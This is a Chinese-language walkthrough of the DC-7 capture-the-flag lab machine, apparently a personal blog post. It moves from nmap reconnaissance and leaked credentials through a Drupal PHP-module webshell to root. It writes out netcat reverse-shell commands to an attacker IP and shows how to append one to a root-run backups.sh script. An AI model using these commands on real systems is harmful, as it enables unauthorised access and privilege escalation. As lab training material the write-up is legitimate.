一、信息收集
扫描网段,发现靶机ip为192.168.145.235。
nmap -sP 192.168.145.*
进一步对端口,靶机系统等信息进行一个收集。可以看到开放了22端口,80端口,主机系统为linux等信息。
nmap -sT -T4 -O -sV -sC -p1-65535 192.168.145.235
网站目录扫描,不过没发现什么有用的信息。
二、getshell
目前有用的信息就开放22和80端口,我们访问靶机ip看看,是一个Drupal的网站,版本为8。网上找了一下没有可以直接利用的poc。
我翻译了一下上面的英文,说要跳出什么框框。
我也是搞了好久,直接搜它这个网站右下角的@DC7USER,可以在github上面找到网站的源码。
源码里面的配置文件包含了用户名和密码。
ssh远程连接上去,给了个提示说在/var/mail/dc7user有一封邮件。
ssh dc7user@192.168.145.235
三、提权
我们去/var/mail目录看看,可以看到dc7user里面说有个backups.sh文件,然后文件执行时的权限为root。
查看backups.sh文件,里面是一堆命令,也就是说我们运行这个文件的话就会执行里面的命令,而且执行时的权限为root。
那我们直接往里面添加一个nc连接的命令即可,在执行文件时以root权限连接我们的攻击机。但是这个文件的属主是www-data,我们需要获得www-data的身份才能对它进行修改。
我们可以看到在backups.sh里面执行了drush命令,Drush 是一个强大的 shell 接口,可以直接从云服务器命令行管理 Drupal,我们直接利用drush对admin用户进行一个密码修改。
cd /var/www/html //进入drupal目录
drush user-password admin --password="passwd" //修改adminn用户密码
直接登录进去。
在content模块可以写入webshell,但是这里不支持php代码写入。查了一下,Drupal 8需要我们自己导入php模块。
在extend—>install new module—>install from a url处可以添加php代码模块的url
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
点击install即可,然后点击Enable newly added modules去激活我们的php模块,勾选php filter再点击install。
然后在写入内内容那里就会出现php代码选项,此时我们就可以写入一句话木马。
蚁剑连接就可以获得我们一个www-data的身份。
蚁剑打开一个虚拟终端,往backups.sh文件追加一个nc连接的命令,不过不知道为啥在蚁剑追加不了。那么我们把蚁剑的shell反弹到kali再进行追加。
nc 192.168.145.171 1234 -e /bin/bash
往backups.sh追加命令。
echo "nc 192.168.145.171 12345 -e /bin/bash" >>backups.sh
kali开启监听,运行backups.sh文件,即可在kali接受shell。
四、总结
不算太难的靶机,就是一开始可以搜出来源码可能很难想到。
最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。